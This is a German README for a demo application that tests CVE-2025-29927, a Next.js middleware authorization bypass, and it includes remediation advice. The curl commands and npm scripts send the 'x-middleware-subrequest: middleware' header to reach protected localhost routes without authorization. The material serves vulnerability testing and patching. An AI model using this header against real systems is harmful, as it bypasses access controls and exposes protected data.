
Testet und demonstriert CVE-2025-29927, eine Next.js Middleware-Autorisierungs-Bypass-Schwachstelle. Enthält Exploit- und Normalzugriff-Testskripte sowie Abhilfeanleitungen.
Diese Anwendung demonstriert die Next.js Middleware-Autorisierungsumgehung-Schwachstelle (CVE-2025-29927).
CVE-2025-29927 ist eine Schwachstelle zur Umgehung der Autorisierung in der Next.js-Middleware. Durch Senden eines speziell gestalteten HTTP-Headers (x-middleware-subrequest) kann ein Angreifer die in der Middleware implementierten Autorisierungsprüfungen umgehen und möglicherweise auf geschützte Ressourcen zugreifen.
Installieren Sie die Abhängigkeiten:
cd /var/www/react-nextjs/test-middleware-skip
npm install
Starten Sie den Entwicklungsserver:
npm run dev
Der Server startet unter http://localhost:3000
Versuchen Sie, normal auf die geschützte Route zuzugreifen:
npm run test-normal
oder
curl -v http://localhost:3000/protected-data
Sie sollten eine 401 Unauthorized-Antwort erhalten, da die Middleware den Zugriff blockiert.
Versuchen Sie, mit dem Exploit-Header auf die geschützte Route zuzugreifen:
npm run test-exploit
oder
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/protected-data
Wenn die Anwendung anfällig ist, erhalten Sie eine 200 OK-Antwort mit den geschützten Daten.
Normaler Zugriff (sollte blockiert werden):
curl -v http://localhost:3000/api/protected
Mit Exploit:
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
Um diese Schwachstelle zu beheben, sollten Sie:
Aktualisieren Sie Next.js auf eine gepatchte Version:
Falls Sie nicht aktualisieren können, implementieren Sie einen Reverse-Proxy (z. B. Nginx oder Cloudflare), der den x-middleware-subrequest-Header aus eingehenden Anfragen entfernt.
Testen Sie, ob die API-Route anfällig ist:
# Normale Anfrage (sollte blockiert werden)
curl -v http://localhost:3000/api/protected
# Mit Exploit-Header
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
Dieses Tool dient ausschließlich zu Bildungs- und Sicherheitstestzwecken. Verwenden Sie es, um zu überprüfen, ob Ihre eigenen Next.js-Anwendungen anfällig sind und gepatcht werden müssen.